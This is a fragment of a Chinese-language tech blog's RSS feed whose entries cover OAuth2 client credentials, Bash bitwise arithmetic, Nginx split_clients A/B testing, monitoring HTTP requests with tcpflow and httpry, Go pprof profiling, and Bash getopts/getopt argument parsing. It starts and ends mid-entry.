&lt;td>Example: After an employee successfully authenticates, the system determines what information the employees are allowed to access&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h3 id="oauth-2">OAuth 2&lt;/h3>
&lt;h4 id="client-credentials-grant">&lt;a href="https://datatracker.ietf.org/doc/html/rfc6749#section-4.4" target="_blank" rel="noopener">Client Credentials Grant&lt;/a>&lt;/h4>
&lt;blockquote>
&lt;p>这种模式是最简单的，其实就是客户端告诉服务端自己是哪个客户端，服务器就将 access_token 下发&lt;/p></description></item><item><title>Bash 位元運算子</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220704-bash-bitwise-operators/</link><pubDate>Mon, 04 Jul 2022 15:20:39 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220704-bash-bitwise-operators/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/bash-bitwise-operators" target="_blank" rel="noopener">Bash 位元運算子&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="bash-的進位轉換工具">Bash 的進位轉換工具&lt;/h3>
&lt;ul>
&lt;li>Bash 的算術展開允許我們用「進位數字 + #」的方式表示任意進位的數字。&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ echo &lt;span style="color:#66d9ef">$((&lt;/span>&lt;span style="color:#ae81ff">2#1001&lt;/span>&lt;span style="color:#66d9ef">))&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">9&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>bc 可以用 ibase（輸入進位）與 obase（輸出進位）輕鬆進行進位轉換。以下將十進位的 9 轉成二進位。&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ echo &lt;span style="color:#e6db74">&amp;#34;ibase=10;obase=2;9&amp;#34;&lt;/span> | bc
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">1001&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Nginx 使用 split_clients 进行简易 A/B 测试</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220704-nginx-ab-testing/</link><pubDate>Mon, 04 Jul 2022 14:36:23 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220704-nginx-ab-testing/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://u.sb/nginx-ab-testing/" target="_blank" rel="noopener">Nginx 使用 split_clients 进行简易 A/B 测试&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="ngx_">&lt;a href="https://nginx.org/en/docs/http/ngx_http_split_clients_module.html" target="_blank" rel="noopener">ngx_http_split_clients_module&lt;/a>&lt;/h5>
&lt;h5 id="configure">configure&lt;/h5>
&lt;blockquote>
&lt;p>这里举例，我们想要 20% 的用户跳转到网址 &lt;a href="https://example.com/" target="_blank" rel="noopener">https://example.com/&lt;/a>，30% 的用户跳转到网址 &lt;a href="https://example.org/" target="_blank" rel="noopener">https://example.org/&lt;/a>，剩下的跳转到网址 &lt;a href="https://examle.edu/" target="_blank" rel="noopener">https://examle.edu/&lt;/a>&lt;/p>&lt;/blockquote>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">split_clients&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>${remote_addr}AAA&amp;#34; $variant {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">20%&lt;/span> &lt;span style="color:#e6db74">https://example.com/&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">30%&lt;/span> &lt;span style="color:#e6db74">https://example.org/&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#e6db74">https://example.edu/&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">server&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">listen&lt;/span> &lt;span style="color:#ae81ff">80&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">listen&lt;/span> &lt;span style="color:#e6db74">[::]:80&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">server_name&lt;/span> &lt;span style="color:#e6db74">_&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">return&lt;/span> &lt;span style="color:#ae81ff">302&lt;/span> ${variant};
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>上述例子中，按照访客请求的 IP 地址 加上 AAA 字符串 会使用 MurmurHash2 转换成数字，如果得出的数字在前 20%，那么 $variant 值为 &lt;a href="https://example.com/" target="_blank" rel="noopener">https://example.com/&lt;/a>，相应的在中间 30% 区间的值为 &lt;a href="https://example.org/" target="_blank" rel="noopener">https://example.org/&lt;/a>，其他的为 &lt;a href="https://example.edu/" target="_blank" rel="noopener">https://example.edu/&lt;/a>。&lt;/p>
&lt;h6 id="指定不同的目录">指定不同的目录&lt;/h6>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">root&lt;/span> &lt;span style="color:#e6db74">/var/www/&lt;/span>${variant};
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h6 id="指定不同的首页">指定不同的首页&lt;/h6>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">index&lt;/span> &lt;span style="color:#e6db74">index-&lt;/span>${variant}.html;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>即時監控網路介面上的 HTTP 請求</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220623-monitoring-http-requests-network-interfaces/</link><pubDate>Thu, 23 Jun 2022 16:48:42 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220623-monitoring-http-requests-network-interfaces/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/monitoring-http-requests-network-interfaces" target="_blank" rel="noopener">即時監控網路介面上的 HTTP 請求&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="tcpflow">tcpflow&lt;/h3>
&lt;blockquote>
&lt;p>&lt;code>apt/dnf install tcpflow&lt;/code>&lt;/p>&lt;/blockquote>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ sudo tcpflow -p -c -i wlp0s20f3 port &lt;span style="color:#ae81ff">80&lt;/span> | grep -oE &lt;span style="color:#e6db74">&amp;#39;(GET|POST) .* HTTP/1.[01]|Host: .*&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>reportfilename: ./report.xml
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>tcpflow: listening on wlp0s20f3
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>GET /alexlarsson/flatpak/ubuntu/dists/focal/InRelease HTTP/1.1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>GET /mirrors.txt HTTP/1.1
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>&lt;code>-p&lt;/code> 停用混雜模式&lt;/li>
&lt;li>&lt;code>-c&lt;/code> 只輸出到主控台，不建立檔案&lt;/li>
&lt;li>&lt;code>-i&lt;/code> 指定網路介面
grep 會接收 tcpflow 的輸出&lt;/li>
&lt;li>&lt;code>-o&lt;/code> 只顯示符合樣式的那一段&lt;/li>
&lt;li>&lt;code>-E&lt;/code> 表示樣式是延伸正則表示式（ERE）&lt;/li>
&lt;/ul>
&lt;h3 id="httpry">httpry&lt;/h3>
&lt;blockquote>
&lt;p>&lt;code>https://github.com/jbittel/httpry.git&lt;/code>&lt;/p>&lt;/blockquote>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo httpry -i wlp0s20f3
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>httpry version 0.1.8 -- HTTP logging and information retrieval tool
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Copyright &lt;span style="color:#f92672">(&lt;/span>c&lt;span style="color:#f92672">)&lt;/span> 2005-2014 Jason Bittel &amp;lt;jason.bittel@gmail.com&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Starting capture on wlp0s20f3 interface
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2022-06-22 16:38:12.166 192.168.1.24 172.217.17.238 &amp;gt; GET google.com / HTTP/1.1 - -
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2022-06-22 16:38:12.199 172.217.17.238 192.168.1.24 &amp;lt; - - - HTTP/1.0 400 Bad Request
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2022-06-22 16:38:23.090 192.168.1.24 172.217.17.238 &amp;gt; POST google.com / HTTP/1.1 - -
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2022-06-22 16:38:23.163 172.217.17.238 192.168.1.24 &amp;lt; - - - HTTP/1.1 405 Method Not Allowed
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>golang pprof 实战</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220622-go-ppof-practice/</link><pubDate>Wed, 22 Jun 2022 15:29:02 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220622-go-ppof-practice/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.wolfogre.com/posts/go-ppof-practice/" target="_blank" rel="noopener">golang pprof 实战&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/wolfogre/go-pprof-practice" target="_blank" rel="noopener">炸弹程序&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 略&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">_&lt;/span> &lt;span style="color:#e6db74">&amp;#34;net/http/pprof&amp;#34;&lt;/span> &lt;span style="color:#75715e">// 会自动注册 handler 到 http server，方便通过 http 接口获取程序运行采样报告&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 略&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 略&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">runtime&lt;/span>.&lt;span style="color:#a6e22e">GOMAXPROCS&lt;/span>(&lt;span style="color:#ae81ff">1&lt;/span>) &lt;span style="color:#75715e">// 限制 CPU 使用数，避免过载&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">runtime&lt;/span>.&lt;span style="color:#a6e22e">SetMutexProfileFraction&lt;/span>(&lt;span style="color:#ae81ff">1&lt;/span>) &lt;span style="color:#75715e">// 开启对锁调用的跟踪&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">runtime&lt;/span>.&lt;span style="color:#a6e22e">SetBlockProfileRate&lt;/span>(&lt;span style="color:#ae81ff">1&lt;/span>) &lt;span style="color:#75715e">// 开启对阻塞操作的跟踪&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">go&lt;/span> &lt;span style="color:#66d9ef">func&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 启动一个 http server，注意 pprof 相关的 handler 已经自动注册过了&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// /debug/pprof/&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">http&lt;/span>.&lt;span style="color:#a6e22e">ListenAndServe&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;:6060&amp;#34;&lt;/span>, &lt;span style="color:#66d9ef">nil&lt;/span>); &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Fatal&lt;/span>(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">Exit&lt;/span>(&lt;span style="color:#ae81ff">0&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 略&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>http://localhost:6060/debug/pprof/&lt;/li>
&lt;/ul>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>类型&lt;/th>
&lt;th>描述&lt;/th>
&lt;th>备注&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>allocs&lt;/td>
&lt;td>内存分配情况的采样信息&lt;/td>
&lt;td>可以用浏览器打开，但可读性不高&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>blocks&lt;/td>
&lt;td>阻塞操作情况的采样信息&lt;/td>
&lt;td>可以用浏览器打开，但可读性不高&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>cmdline&lt;/td>
&lt;td>显示程序启动命令及参数&lt;/td>
&lt;td>可以用浏览器打开，这里会显示 ./go-pprof-practice&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>goroutine&lt;/td>
&lt;td>当前所有协程的堆栈信息&lt;/td>
&lt;td>可以用浏览器打开，但可读性不高&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>heap&lt;/td>
&lt;td>堆上内存使用情况的采样信息&lt;/td>
&lt;td>可以用浏览器打开，但可读性不高&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>mutex&lt;/td>
&lt;td>锁争用情况的采样信息&lt;/td>
&lt;td>可以用浏览器打开，但可读性不高&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>profile&lt;/td>
&lt;td>CPU 占用情况的采样信息&lt;/td>
&lt;td>浏览器打开会下载文件&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>threadcreate&lt;/td>
&lt;td>系统线程创建情况的采样信息&lt;/td>
&lt;td>可以用浏览器打开，但可读性不高&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>trace&lt;/td>
&lt;td>程序运行跟踪信息&lt;/td>
&lt;td>浏览器打开会下载文件，本文不涉及，可另行参阅《深入浅出 Go trace》&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>&lt;strong>排查 CPU 占用过高&lt;/strong>&lt;/p></description></item><item><title>在 Bash 中解析命令列參數</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220607-bash-parse-command-line-arguments/</link><pubDate>Tue, 07 Jun 2022 14:48:47 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220607-bash-parse-command-line-arguments/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/bash-parse-command-line-arguments" target="_blank" rel="noopener">在 Bash 中解析命令列參數&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="getopts">getopts&lt;/h3>
&lt;blockquote>
&lt;p>&lt;code>getopts optstring opt [arg ...]&lt;/code>&lt;/p>&lt;/blockquote>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">while&lt;/span> getopts &lt;span style="color:#e6db74">&amp;#39;abc:h&amp;#39;&lt;/span> opt; &lt;span style="color:#66d9ef">do&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">case&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$opt&lt;span style="color:#e6db74">&amp;#34;&lt;/span> in
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> a&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Processing option &amp;#39;a&amp;#39;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> b&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Processing option &amp;#39;b&amp;#39;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> c&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> arg&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>$OPTARG&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Processing option &amp;#39;c&amp;#39; with &amp;#39;&lt;/span>&lt;span style="color:#e6db74">${&lt;/span>OPTARG&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#39; argument&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ?|h&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Usage: &lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>basename $0&lt;span style="color:#66d9ef">)&lt;/span>&lt;span style="color:#e6db74"> [-a] [-b] [-c arg]&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> exit &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">esac&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">done&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shift &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#66d9ef">$((&lt;/span> $OPTIND &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#66d9ef">))&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>optstring 代表支援的選項。若某個選項需要參數，則在它後面加冒號 (:)。例如選項 c 需要參數，會寫成 c:&lt;/li>
&lt;li>當選項有關聯參數時，getopts 會將參數字串存到 OPTARG shell 變數中。例如 option c 的參數會存到 OPTARG。&lt;/li>
&lt;li>opt 包含已解析的選項。&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">while&lt;/span> getopts &lt;span style="color:#e6db74">&amp;#39;:abc:h&amp;#39;&lt;/span> opt; &lt;span style="color:#66d9ef">do&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">case&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$opt&lt;span style="color:#e6db74">&amp;#34;&lt;/span> in
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> a&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Processing option &amp;#39;a&amp;#39;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> b&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Processing option &amp;#39;b&amp;#39;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> c&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> arg&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>$OPTARG&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Processing option &amp;#39;c&amp;#39; with &amp;#39;&lt;/span>&lt;span style="color:#e6db74">${&lt;/span>OPTARG&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#39; argument&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> h&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo &lt;span style="color:#e6db74">&amp;#34;Usage: &lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>basename $0&lt;span style="color:#66d9ef">)&lt;/span>&lt;span style="color:#e6db74"> [-a] [-b] [-c arg]&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> exit &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> :&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo -e &lt;span style="color:#e6db74">&amp;#34;option requires an argument.\nUsage: &lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>basename $0&lt;span style="color:#66d9ef">)&lt;/span>&lt;span style="color:#e6db74"> [-a] [-b] [-c arg]&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> exit &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ?&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> echo -e &lt;span style="color:#e6db74">&amp;#34;Invalid command option.\nUsage: &lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>basename $0&lt;span style="color:#66d9ef">)&lt;/span>&lt;span style="color:#e6db74"> [-a] [-b] [-c arg]&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> exit &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ;;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">esac&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">done&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>shift &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#66d9ef">$((&lt;/span> $OPTIND &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#66d9ef">))&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>注意我們也更新了 optstring，現在以冒號 (:) 開頭，會抑制預設的錯誤訊息。&lt;/li>
&lt;li>當 OPTERR 變數設為 0 時，getopts 會停用錯誤訊息輸出。&lt;/li>
&lt;/ul>
&lt;h3 id="使用-getopt-解析長選項">使用 getopt 解析長選項&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>VALID_ARGS&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>getopt -o abg:d: --long alpha,beta,gamma:,delta: -- &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$@&lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#66d9ef">)&lt;/span>
